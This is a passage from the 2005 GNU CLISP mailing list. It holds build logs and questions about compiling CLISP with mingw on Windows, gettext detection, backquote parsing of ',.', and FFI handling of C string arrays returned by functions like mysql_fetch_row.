-Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 
-DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none 
libcharset.a libavcall.a libcallback.a  -luser32 -lws2_32 -lole32 
-loleaut32 -luuid -L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
Features:
(ZLIB RAWSOCK POSTGRESQL DIRKEY REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP
 ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
 LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32)
Installation directory:
User language: ENGLISH
Machine: PC/386 (PC/?86) stnt067 [150.0.0.200]

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Sam Steingold:

> > * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-01 17:54:40 +0200]:
> >
> > I wait cvs-tarball.
>
> I recommend
> <http://sourceforge.net/cvs/?group_id=1355>.
>
I used cvsgrab.
I build clisp (win2k+mingw/msys).

lisp -M lispinit.mem --version
GNU CLISP 2.33.80 (2004-11-27) (built on nb [150.0.0.200])
Software: GNU C 3.4.2 (mingw-special)
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 
-DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none 
libcharset.a libavcall.a libcallback.a  -luser32 -lws2_32 -lole32 
-loleaut32 -luuid -L/usr/local/lib -lsigsegv
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SPVW_MIXED TRIVIALMAP_MEMORY
Features:
(REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL
 INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE
 BASE-CHAR=CHARACTER PC386 WIN32)
Installation directory:
User language: ENGLISH
Machine: PC/386 (PC/?86) stnt067 [150.0.0.200]

Some questions:

"-DNO_GETTEXT" - this is normal? I can change "User language"?

And I not decide an issue "-I../" -> "-I..", but this probably gcc+mingw 
problem.

Configure with option --with-threads= with C_THREADS or WIN32_THREADS 
produces an error. This is not supported?

Thanks.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-03 09:41:12 +0200]:
>
> Form: (LET ((FILE "this-is-a-temp-file-to-be-removed-immediately"))
> (UNWIND-PROTECT (WITH-OPEN-FILE (S FILE :DIRECTION :OUTPUT) (LIST (NOT
> (NULL (PROBE-FILE FILE))) (NOT (NULL (PROBE-FILE S))) (EQUALP (TRUENAME
> S) (TRUENAME FILE)))) (DELETE-FILE FILE)))
> CORRECT: (T T T)
> CLISP  : (T T NIL)

fixed yesterday evening.
thanks.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-03 10:31:26 +0200]:
>
> "-DNO_GETTEXT" - this is normal?

this is normal on win32.
look at config.log in your build directory
and search for "gettext".
you will see things like this:

configure:5341: checking for GNU gettext in libc
configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c  >&5
conftest.c:14:21: libintl.h: No such file or directory
configure:5371: $? = 1
configure: failed program was:
| /* confdefs.h.  */
|
| #define PACKAGE_NAME "GNU CLISP"
| #define PACKAGE_TARNAME "clisp"
| #define PACKAGE_VERSION "2.33.80 (2004-11-27)"
| #define PACKAGE_STRING "GNU CLISP 2.33.80 (2004-11-27)"
| #define PACKAGE_BUGREPORT "http://clisp.cons.org/"
| #define _GNU_SOURCE 1
| #define ASM_UNDERSCORE
| #ifndef __i386__
| #define __i386__ 1
| #endif
| /* end confdefs.h.  */
| #include <libintl.h>
| extern int _nl_msg_cat_cntr;
| extern int *_nl_domain_bindings;
| int
| main ()
| {
| bindtextdomain ("", "");
| return (int) gettext ("") + (int) ngettext ("", "", 0) + _nl_msg_cat_cntr + *_
nl_domain_bindings
|   ;
|   return 0;
| }
configure:5396: result: no
configure:5808: checking for iconv
configure:5920: result: no, consider installing GNU libiconv
configure:6319: checking for GNU gettext in libintl
configure:6351: gcc -mno-cygwin -o conftest.exe -g -O2    conftest.c  -lintl >&5
conftest.c:14:21: libintl.h: No such file or directory
configure:6357: $? = 1
configure: failed program was:
| /* confdefs.h.  */
|
| #define PACKAGE_NAME "GNU CLISP"
| #define PACKAGE_TARNAME "clisp"
| #define PACKAGE_VERSION "2.33.80 (2004-11-27)"
| #define PACKAGE_STRING "GNU CLISP 2.33.80 (2004-11-27)"
| #define PACKAGE_BUGREPORT "http://clisp.cons.org/"
| #define _GNU_SOURCE 1
| #define ASM_UNDERSCORE
| #ifndef __i386__
| #define __i386__ 1
| #endif
| /* end confdefs.h.  */
| #include <libintl.h>
| extern int _nl_msg_cat_cntr;
| extern
| #ifdef __cplusplus
| "C"
| #endif
| const char *_nl_expand_alias ();
| int
| main ()
| {
| bindtextdomain ("", "");
| return (int) gettext ("") + (int) ngettext ("", "", 0) + _nl_msg_cat_cntr + *_
nl_expand_alias (0)
|   ;
|   return 0;
| }
configure:6442: result: no

i.e., there is no gettext available.

> I can change "User language"?
I guess not.

> And I not decide an issue "-I../" -> "-I..", but this probably
> gcc+mingw problem.

you might want to just use mingw as distributed with cygwin.

> Configure with option --with-threads= with C_THREADS or WIN32_THREADS
> produces an error. This is not supported?

no, threads are not supported (and never really worked).
would you like to work on this?

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QAM> (read-from-string "*14.2" t nil :start 1)
14.2
5

QAM> (read-from-string "*14.2" :start 1)
*14.2  ;; <-- ???
5

why the result is not the same ???


config :

QAM> (software-version)
"GNU C 3.3.1 (cygming special)"
QAM> (lisp-implementation-version)
"2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101])"



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Christophe Turle wrote:
> QAM> (read-from-string "*14.2" t nil :start 1)
> 14.2
> 5
> 
> QAM> (read-from-string "*14.2" :start 1)
> *14.2  ;; <-- ???
> 5
> 
> why the result is not the same ???

In the second case, the arguments :START and 1 aren't being
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On Thu, Feb 03, 2005 at 08:56:18PM +0100, Christophe Turle wrote:
> QAM> (read-from-string "*14.2" t nil :start 1)
> 14.2
> 5
> 
> QAM> (read-from-string "*14.2" :start 1)
> *14.2  ;; <-- ???
> 5
> 
> why the result is not the same ???

    Try capturing the results of the calls into variables - if the only thing that both return is 14.2, why worry?
 
 
> config :
> 
> QAM> (software-version)
> "GNU C 3.3.1 (cygming special)"
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Sam Steingold:

> > * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-03 10:31:26 +0200]:
> >
> > "-DNO_GETTEXT" - this is normal?
>
> this is normal on win32.
> look at config.log in your build directory
> and search for "gettext".
> you will see things like this:
>
> configure:5341: checking for GNU gettext in libc
> configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c  >&5
> conftest.c:14:21: libintl.h: No such file or directory
> configure:5371: $? = 1
>
Yes

> configure:5808: checking for iconv
> configure:5920: result: no, consider installing GNU libiconv
>
No:
configure:5808: checking for iconv
configure:5920: result: yes
configure:5930: checking how to link with libiconv
configure:5932: result: -liconv

> configure:6319: checking for GNU gettext in libintl
> configure:6351: gcc -mno-cygwin -o conftest.exe -g -O2    conftest.c  
> -lintl >&5
> conftest.c:14:21: libintl.h: No such file or directory
>
No:
configure:6319: checking for GNU gettext in libintl
configure:6351: gcc -mno-cygwin -o conftest.exe -g -O2    conftest.c  
-lintl >&5
Info: resolving __nl_msg_cat_cntr by linking to __imp___nl_msg_cat_cntr 
(auto-import)
configure:6357: $? = 0
configure:6361: test -z
             || test ! -s conftest.err
configure:6364: $? = 0
configure:6367: test -s conftest.exe
configure:6370: $? = 0
configure:6442: result: yes
configure:6474: checking how to link with libintl
configure:6476: result: -lintl

> i.e., there is no gettext available.
>
mingw (or gnuwin32) enclose port of gettext library for win. That's no good?

> > I can change "User language"?
> I guess not.
>
It depends only from gettext?

> > And I not decide an issue "-I../" -> "-I..", but this probably
> > gcc+mingw problem.
>
> you might want to just use mingw as distributed with cygwin.
>
Thanks. I like mingw.

> > Configure with option --with-threads= with C_THREADS or WIN32_THREADS
> > produces an error. This is not supported?
>
> no, threads are not supported (and never really worked).
> would you like to work on this?
>
I'm sorry, I am not competent.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-02-04 13:25:15 +0200]:
>
>> configure:5341: checking for GNU gettext in libc
>> configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c  >&5
>> conftest.c:14:21: libintl.h: No such file or directory
>> configure:5371: $? = 1
>>
> Yes

so libintl.h is not available!

> configure:5930: checking how to link with libiconv
> configure:5932: result: -liconv
great!

> configure:6474: checking how to link with libintl
> configure:6476: result: -lintl

how come intl.dll is there but libintl.h is not?!

>> i.e., there is no gettext available.
>>
> mingw (or gnuwin32) enclose port of gettext library for win. That's no good?

if libintl.h is not found, probably not.

>> > I can change "User language"?
>> I guess not.
> It depends only from gettext?
yes.

>> > Configure with option --with-threads= with C_THREADS or WIN32_THREADS
>> > produces an error. This is not supported?
>>
>> no, threads are not supported (and never really worked).
>> would you like to work on this?
>>
> I'm sorry, I am not competent.

too bad...

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I've released AH2CL (Another Header To Common Lisp converter).
It's a (very (very)) simple and naive C header parser.
It produce (at the moment) ffi (foreign function interface) for clisp
and/or for uffi (but callbacks are well tested only with clisp and
cmucl).
For details, see:

        http://hocwp.free.fr/ah2cl/

It is under the LLGPL licence and the produced code has no licence.

As examples, I provide a little test and an OpenGL binding for CLisp
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I hope that can be useful...


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Sam Steingold:

> >> configure:5341: checking for GNU gettext in libc
> >> configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2   
> conftest.c  >&5
> >> conftest.c:14:21: libintl.h: No such file or directory
> >> configure:5371: $? = 1
> >>
> > Yes
>
> so libintl.h is not available!
>
I'm sorry. No, libintl.h is available!

configure:5341: checking for GNU gettext in libc
configure:5365: gcc -mno-cygwin -o conftest.exe -g -O2   conftest.c  >&5
C:/Temp/ccCebaaa.o(.text+0x2a): In function `main':
C:/gnu/home/clisp/clisp/build-full/conftest.c:22: undefined reference to 
`libintl_bindtextdomain'
C:/Temp/ccCebaaa.o(.text+0x36):C:/gnu/home/clisp/clisp/build-full/conftest.c:23: 
undefined reference to `libintl_gettext'
C:/Temp/ccCebaaa.o(.text+0x53):C:/gnu/home/clisp/clisp/build-full/conftest.c:23: 
undefined reference to `libintl_ngettext'
C:/Temp/ccCebaaa.o(.text+0x5a):C:/gnu/home/clisp/clisp/build-full/conftest.c:23: 
undefined reference to `_nl_domain_bindings'
C:/Temp/ccCebaaa.o(.text+0x60):C:/gnu/home/clisp/clisp/build-full/conftest.c:23: 
undefined reference to `_nl_msg_cat_cntr'
collect2: ld returned 1 exit status
configure:5371: $? = 1
configure: failed program was:
...
but not work correctly

> > configure:5930: checking how to link with libiconv
> > configure:5932: result: -liconv
> great!
>
> > configure:6474: checking how to link with libintl
> > configure:6476: result: -lintl
>
> how come intl.dll is there but libintl.h is not?!
>
> >> i.e., there is no gettext available.
> >>
> > mingw (or gnuwin32) enclose port of gettext library for win. That's 
> no good?
>
> if libintl.h is not found, probably not.
>
libintl.h is found

> >> > Configure with option --with-threads= with C_THREADS or 
> WIN32_THREADS
> >> > produces an error. This is not supported?
> >>
> >> no, threads are not supported (and never really worked).
> >> would you like to work on this?
> >>
> > I'm sorry, I am not competent.
>
> too bad...
>
may be

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clisp from cvs head
win2k, mingw

$ gcc --version
gcc.exe (GCC) 3.4.2 (mingw-special)
Copyright (C) 2004 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

build clisp:
$ ./configure --with-mingw --build build-full

test:
$ make check
...
cmp -s config.fas stage/config.fas  || (echo "Test failed." ; exit 1)
echo "Test passed."
Test passed.
rm -f fresh-line.out
lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -norc -q -M lispinit.mem -x 
'(progn (dolist (s (quote (*terminal-io* *standard-output* 
*error-output* *query-io* *debug-io* *trace-output*))) (format t "~S = 
~S~%" s (symbol-value s))) (values))' 2>&1 > fresh-line.out
lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -norc -q -M lispinit.mem -x 
'(progn (format *terminal-io* "~&Line1 to *terminal-io*") (format 
*terminal-io* "~&Line2 to *terminal-io*") (values))' 2>&1 >> fresh-line.out
*** - WRITE-CHAR on #<CLOSED IO TERMINAL-STREAM> is illegal

make: *** [check-fresh-line] Error 1

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win2k+mingw+gcc3.4.2

build clisp from cvs head:
$ ./configure --with-mingw --build build-full
...
gcc -mno-cygwin -E `if test true = true; then echo '-DASM_UNDERSCORE'; 
fi` ../../ffcall/avcall/avcall-i386-macro.S | grep -v '^ *#line' | grep 
-v '^#ident' | grep -v '^#' | sed -e 's,% ,%,g' -e 's,% ,%,g' -e 's,\. 
,.,g' > avcall-i386.s
/bin/sh ./libtool --mode=compile gcc -mno-cygwin -x none -c avcall-i386.s
./libtool: line 6495: syntax error: unexpected end of file
make: *** [avcall-i386.lo] Error 2

but do not stop
This is normal?

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Hi,

John Small [mailto:jwebsmall@cox.net] wrote:

>Hi Joerg, Bruno,
Please send such stuff fo clisp-list directly, where it gets archived, =
becomes searchable for everyone and more people get a change to answer.
=20
>The mysql fetch row function returns a variable length array of =
strings:
>    char **  mysql_fetch_row(result)
[...]
>So I defined my call out as
>        (FFI:DEF-CALL-OUT          mysql_fetch_row
>             ...
>            (:return-type    ffi:c-pointer))
>But then when I go to access row
>        (setf row (mysql_fetch_row result))
>since row is a foreign address and not a place I'm stuck and can't use
>any of the cast , offset, etc. macros.

>[...]which is similar to your article on compression.
Ah, you read some of my stuff. Good!

You indeed need to move from a pointer to a place.

o WITH-FOREIGN-OBJECT / WITH-C-VAR is one of your friends here: you can =
use it to allocate a pointer on the stack initialized to your pointer, =
then cast that to the correct type.
  (with-c-var (p 'c-pointer row-pointer)
    (offset p `(c-array c-string ,actual-size) 0)

o You can use (:return-type (ffi:c-pointer (c-string))) ; limited =
declaration returning a single string
or (ffi:c-pointer (c-array c-string 1))
which will yield a FOREIGN-VARIABLE object, which makes casting (offset =
0 trick) to an array of strings more direct than the above, with the =
help of WITH-C-PLACE.

o You can use the FOREIGN-VARIABLE constructor to create the =
foreign-variable object out of the foreign-pointer, then apply =
WITH-C-PLACE.

Oddly, this constructor is not documented. I thought I had added it to =
CVS?!?

Which you choose may depend on your needs, e.g. whether to dereference =
the whole array at once or only a few elements.

Regards,
	J=F6rg H=F6hle.


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I am sorry.
Error false (the wrong source code was for me).
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 From cvs head:

[...]
chmod a-x lisp.o
ar rcv lisp.a lisp.o
a - lisp.o
rm -f lisp.o
ranlib lisp.a
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -c noreadline.c
noreadline.d: In function `rl_named_function':
noreadline.d:43: warning: return from incompatible pointer type
ar rcv libnoreadline.a noreadline.o
a - noreadline.o
ranlib libnoreadline.a
sed -e 's%@with_dynamic_modules@%no%' -e 's%@createsharedlib@%%' -e 's%@LEXE@%.run%' < ../src/clisp-link.in > clisp-link
chmod a+x clisp-link
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -DCOMPILE_STANDALONE -O0 -c genclisph.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none genclisph.o -o genclisph
(echo '#ifndef _CLISP_H' ; echo '#define _CLISP_H' ; echo; echo '/* unixconf */' ; grep '^#' unixconf.h ) > clisp.h
(echo; echo '/* 'intparam.h' */' ; grep '^#' intparam.h ) >> clisp.h
(echo; echo '/* 'floatparam.h' */' ; grep '^#' floatparam.h ) >> clisp.h
(echo; echo '/* genclisph */' ; ./genclisph clisp-test.c; echo ; echo '#endif /* _CLISP_H */') >> clisp.h
writing test file clisp-test.c
wrote 148 tests
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none -DUSE_CLISP_H=1 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-clisp
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none -DUSE_CLISP_H=0 -DCOMPILE_STANDALONE clisp-test.c -o clisp-test-lispbibl
./clisp-test-clisp > clisp-test-clisp.out
./clisp-test-lispbibl > clisp-test-lispbibl.out
cmp clisp-test-clisp.out clisp-test-lispbibl.out
rm -f genclisph clisp-test-clisp clisp-test-lispbibl clisp-test-clisp.out clisp-test-lispbibl.out
rm -f modprep.lisp
ln -s ../utils/modprep.lisp modprep.lisp
rm -rf linkkit
mkdir linkkit
cd linkkit && ln -s ../modules.d modules.d
cd linkkit && ln -s ../modules.c modules.c
cd linkkit && ln -s ../clisp.h clisp.h
cd linkkit && ln -s ../modprep.lisp modprep.lisp
(echo 'CC='"'"'gcc'"'" ; echo 'CPPFLAGS='"'"''"'" ; echo 'CFLAGS='"'"'-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I.'"'" ; echo 'CLFLAGS='"'"'-x none'"'" ; echo 'LIBS='"'"'lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl   '"'" ; echo 'X_LIBS='"'"'-L/usr/X11R6/lib -lX11'"'" ; echo 'RANLIB='"'"'ranlib'"'" ; echo 'FILES='"'"'lisp.a libnoreadline.a libcharset.a libavcall.a libcallback.a '"'") > makevars
./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -M lispinit.mem -q -c ../utils/modprep.lisp -o modprep.fas
;; Compiling file /home/dietz/clisp/utils/modprep.lisp ...
;; Wrote file /home/dietz/clisp/build/modprep.fas
0 errors, 0 warnings
test -d i18n || ../src/lndir ../modules/i18n i18n
if test -f i18n/configure -a '!' -f i18n/config.status ; then cd i18n ; CC="gcc" ./configure --cache-file=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi
configure: loading cache ../config.cache
configure: error: `CC' was not set in the previous run
configure: error: changes in the environment can compromise the build
configure: error: run `make distclean' and/or `rm ../config.cache' and start over
make: *** [i18n] Error 1


	Paul



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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-02-09 11:42:31 +0100]:
>
>
> o You can use the FOREIGN-VARIABLE constructor to create the
> foreign-variable object out of the foreign-pointer, then apply
> WITH-C-PLACE.
>
> Oddly, this constructor is not documented. I thought I had added it to
> CVS?!?

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> * Paul F. Dietz <qvrgm@qyf.arg> [2005-02-09 08:07:38 -0600]:
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> configure: loading cache ../config.cache
> configure: error: `CC' was not set in the previous run
> configure: error: changes in the environment can compromise the build
> configure: error: run `make distclean' and/or `rm ../config.cache' and start over
> make: *** [i18n] Error 1

this does not happen for me when I do
$ ./configure --build ...


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(defmacro ok (s)
  (let ((ss (gensym "s")))
    `(let ((,ss ,s))
       (concatenate 'string ,ss ,ss))))

(ok "foo")

(defmacro not-ok (s)
  (let ((.s (gensym "s")))
    `(let ((,.s ,s))
       (concatenate 'string ,.s ,.s))))

(not-ok "foo")

The "ok" macro seems to do what I expect.  "not-ok" on the other hand
does not.  It is the same as "ok" except that the "ss" symbol has been
changed to ".s" .

Are my expectations wrong, or is this a clisp bug?
(get-macro-character #\.)  returns NIL,NIL and so does
(get-macro-character #\s), which leads me to believe that a leading
dot in a symbol name should not be special.  But my understanding of
the standard here is spotty at best.

-russ


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Date: Wed Feb  9 07:47:50 2005
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The following tests suggest that this is purely a parsing issue, that ,. is being consumed as a single token:

[23]> `(concatenate 'string ,.ss ,.ss)

*** - EVAL: variable SS has no value
The following restarts are available:
STORE-VALUE    :R1      You may input a new value for SS.
USE-VALUE      :R2      You may input a value to be used instead of SS.

Break 1 [24]> abort

[25]> `(concatenate 'string , .ss , .ss)
(CONCATENATE 'STRING "shoes" "shoes")

On Wed, Feb 09, 2005 at 10:30:00AM -0500, Russell McManus wrote:
> 
> (defmacro ok (s)
>   (let ((ss (gensym "s")))
>     `(let ((,ss ,s))
>        (concatenate 'string ,ss ,ss))))
> 
> (ok "foo")
> 
> (defmacro not-ok (s)
>   (let ((.s (gensym "s")))
>     `(let ((,.s ,s))
>        (concatenate 'string ,.s ,.s))))
> 
> (not-ok "foo")
> 
> The "ok" macro seems to do what I expect.  "not-ok" on the other hand
> does not.  It is the same as "ok" except that the "ss" symbol has been
> changed to ".s" .
> 
> Are my expectations wrong, or is this a clisp bug?
> (get-macro-character #\.)  returns NIL,NIL and so does
> (get-macro-character #\s), which leads me to believe that a leading
> dot in a symbol name should not be special.  But my understanding of
> the standard here is spotty at best.
> 
> -russ
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Hi,
Russell wrote:
>    `(let ((,.s ,s))
>(get-macro-character #\.)  returns NIL,NIL and so does
>(get-macro-character #\s), which leads me to believe that a leading
>dot in a symbol name should not be special.

But , has special backquote syntax and peeks at the ., so ,.s is probably read as ,. s (see backquote).

Try it out writing `(let ((, .s ,s))
(untested, i.e. add space between , (backquote) and .s (variable)

Sometimes spaces are necessary.

Regards,
	Jorg Hohle


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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Hi,
> Russell wrote:
>>    `(let ((,.s ,s))
>>(get-macro-character #\.)  returns NIL,NIL and so does
>>(get-macro-character #\s), which leads me to believe that a leading
>>dot in a symbol name should not be special.
>
> But , has special backquote syntax and peeks at the ., so ,.s is probably read as ,. s (see backquote).
>
> Try it out writing `(let ((, .s ,s))
> (untested, i.e. add space between , (backquote) and .s (variable)
>
> Sometimes spaces are necessary.

Thanks for your help.  You are of course correct about the problem that
I was encountering.

I tend to think that ,expr is shorthand for (quote expr) as it is in
scheme in which case the space should not be required.  Of course this
isomorphism is not required in Lisp.

-russ


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Russell McManus <russell_mcmanus@yahoo.com> writes:

> "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
>> Hi,
>> Russell wrote:
>>>    `(let ((,.s ,s))
>>>(get-macro-character #\.)  returns NIL,NIL and so does
>>>(get-macro-character #\s), which leads me to believe that a leading
>>>dot in a symbol name should not be special.
>>
>> But , has special backquote syntax and peeks at the ., so ,.s is probably read as ,. s (see backquote).
>>
>> Try it out writing `(let ((, .s ,s))
>> (untested, i.e. add space between , (backquote) and .s (variable)
>>
>> Sometimes spaces are necessary.
>
> Thanks for your help.  You are of course correct about the problem that
> I was encountering.
>
> I tend to think that ,expr is shorthand for (quote expr) as it is in
> scheme in which case the space should not be required.  Of course this
> isomorphism is not required in Lisp.

should read:

> I tend to think that ,expr is shorthand for (unquote expr) as it is in

-russ



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> * Paul F. Dietz <qvrgm@qyf.arg> [2005-02-09 19:57:00 -0600]:
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> Sam Steingold wrote:
>>>* Paul F. Dietz <qvrgm@qyf.arg> [2005-02-09 08:07:38 -0600]:
>>>
>>>configure: loading cache ../config.cache
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>>>configure: error: run `make distclean' and/or `rm ../config.cache' and start over
>>>make: *** [i18n] Error 1
>> this does not happen for me when I do
>> $ ./configure --build ...
>
> --build?  I followed instructions in unix/INSTALL and did this:

see item "12" in unix/INSTALL.

> ... and see the problem in the final make.

please try the appended patch.

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Clisp FFI question: variable length arrays returned from C function that are 
not null terminated


Problem:

I'm trying to use CLisp FFI with a C function that returns a pointer
to a variant length array of strings (i.e. char *) but the array is not null 
terminated.

I've distilled the essense of my problem down to the example below calling 
out to "foo".

FYI the real problem involves interfacing to MySQL's mysql_fetch_row which 
returns
a non terminated array of column values. And SQL NULL values unfortunately 
are
returned a NULL pointers to boot further complicating the issue.  The number 
of
columns are returned by a separate function: mysql_num_fields and 
unfortunately
there is no other function in the API such as mysql_fetch_field_value() 
which would
allow me to work around the problem.  I've written a simple DBI/DBD wrapper 
including
ODBC (which works) and MySQL (which almost works) and will be posting it as 
open
source as soon as it is completed. I'm also working on a wrapper for Fltk 
for CLisp.

Thanks to Joerg for his previous answer. I've tried implementing his 
suggestions
but I failed.  Below are files giving a minimal example (highlighting my
misunderstanding).  Hopefully they are small enough that 
comments/corrections
can be inserted directly at the locations of my bugs and require minimum 
effort
to answer this email.  Thanks for any help!!

(BTW I'm using CLisp 2.33.1 on win32 from prebuilt binaries.  (I don't
know how to use CVS yet and failed in my attempt to build under MSYS
that I just installed using the new 2.33.2 sources - still learning this
environment too.  So I don't have FOREIGN-VARIABLE constructor yet.)

Solution: (attempted but failed)

---------------------------------------------------------------------------------------------------
// foo.c

#include <stdio.h>

// define for Microsoft Visual C on win32
#define DLLEXPORT _declspec(dllexport)

// Otherwise
// #define DLLEXPORT


char * cols[] = { "one", "two", "three", "four" };

// Real foo will return variant length array that is
// not null terminated.

DLLEXPORT char ** foo()
{
  printf("\nC address of string array: %x",cols);
  return cols;
}

---------------------------------------------------------------------------------------------------------------

;; Example of accessing arrays that are not null terminated
;; foo.lisp
;; see foo.c

(FFI:DEF-CALL-OUT      foo
  (:library            "foo.dll")
  (:language           :stdc)
  (:name               "foo")
  (:arguments)
  (:return-type        (ffi:c-ptr (ffi:c-array ffi:c-string 3))))

;; The real foo will return varying sized arrays that
;; are not null terminated so ffi:c-array-ptr can not be used.
;; This call out spec simply tests a fixed size array with a
;; specified length less than or equal to the actually array returned.

(setf s (foo))

(format t "~%Two: ~A" (aref s 1))

(format t "~%'one' 'two' 'three': ~A" s)

(setf col-count 3) ;; varies on the real foo.

;; this version generates the error indicated below

(FFI:DEF-CALL-OUT      bar
  (:library            "foo.dll")
  (:language           :stdc)
  (:name               "foo")
  (:arguments)
  (:return-type        ffi:c-pointer))

(setf s2 (bar))

(format t "~%Foreign address: ~A" s2)


;; convert foreign address to c-place for FFI primitives

(ffi:with-c-var (cols `ffi:c-pointer s2)

  (ffi:offset cols 1 `(ffi:c-array ffi:c-string ,col-count))

;; Above line generates this error:
;; *** - FFI::%OFFSET: foreign variable #<FOREIGN-VARIABLE
;; "EXEC-ON-STACK" #x00..> does not have the required alignment

)


;; Alternate approach - also generates error indicated below.

(FFI:DEF-CALL-OUT      foobar
  (:library            "foo.dll")
  (:language           :stdc)
  (:name               "foo")
  (:arguments)
  (:return-type        (ffi:c-ptr (ffi:c-array ffi:c-string 1))))

(setf s3 (foobar))

(format t "~%Two: ~A" s3)

(ffi:with-c-place (cols s3)

  (ffi:offset cols 1 `(ffi:c-array ffi:c-string ,col-count))

;; Above line generates this error:
;; *** - FFI::%OFFSET: argument is not a foreign variable: #("one")

)

I don't have a conceptual model in my mind on what is really going
on under the covers and it is still not clear to me what is meant
by foreign.  My understand so far is as follows:

I figure the FFI spec such as a call out function is kind of like IDL
which the system (or VM) is referencing when a call out is made to
determine how it will throw values across the wall surrounding GC
managed memory out to where the C code can get to it without fear
of a GC attack.  And likewise on values returned from C (other than 
c-pointer)
the VM has to call into play allocation, copying and perform a possible 
format
transformation to bring this returning data back within the GC memory 
compound
making it a bona fide Lisp object.

What is confusing to me is the naming conventions of foreign and c-place. It 
seems
it means several things depending on where it is in bound, outbound or a 
settable
place. I haven't thought this all through yet but I'm tempted to try to 
document
this more fully for my own edification so that I truly understand what's 
going
on so I'm not unwittingly making mistakes.  However I realize the FFI is 
designed
so painstakingly so that you can't do unsafe things - which is perhaps why 
I'm
having such a hard time with getting at foo's returned value above.

Thanks for any help.  Looking forward to having a working DBI/DBD and 
evently
a Fltk bindings.

John
p.s. Thank you for writing CLisp!




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> * John Small <wjrofznyy@pbk.arg> [2005-02-10 09:45:52 -0500]:
>
> (BTW I'm using CLisp 2.33.1 on win32 from prebuilt binaries.  (I don't
> know how to use CVS yet and failed in my attempt to build under MSYS
> that I just installed using the new 2.33.2 sources - still learning
> this environment too.  So I don't have FOREIGN-VARIABLE constructor
> yet.)

try
<http://www.podval.org/~sds/clisp/clisp-2.33.80-win32.zip>
<http://www.podval.org/~sds/clisp/impnotes/dffi.html#dffi-make-var>


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Thank you Sam!

This looks like it is going to do what I need - I'll decipher it later 
today.

John

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>> * John Small <wjrofznyy@pbk.arg> [2005-02-10 09:45:52 -0500]:
>>
>> (BTW I'm using CLisp 2.33.1 on win32 from prebuilt binaries.  (I don't
>> know how to use CVS yet and failed in my attempt to build under MSYS
>> that I just installed using the new 2.33.2 sources - still learning
>> this environment too.  So I don't have FOREIGN-VARIABLE constructor
>> yet.)
>
> try
> <http://www.podval.org/~sds/clisp/clisp-2.33.80-win32.zip>
> <http://www.podval.org/~sds/clisp/impnotes/dffi.html#dffi-make-var>
>
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Hi,

John Small wrote:

>  (:return-type        (ffi:c-ptr (ffi:c-array ffi:c-string 1))))
>(setf s3 (foobar))

Please show us what s3 looks like (foreign-variable or Lisp array or =
...) to make it easier for us to spot errors.
>(format t "~%Two: ~A" s3)

>(ffi:with-c-place (cols s3)
>  (ffi:offset cols 1 `(ffi:c-array ffi:c-string ,col-count))
>;; Above line generates this error:
>;; *** - FFI::%OFFSET: argument is not a foreign variable: #("one")
It clearly indicates that the array already got dereferenced.

You used :return-type (c-ptr (c-array ...)).
I said (c-pointer (c-array ...))
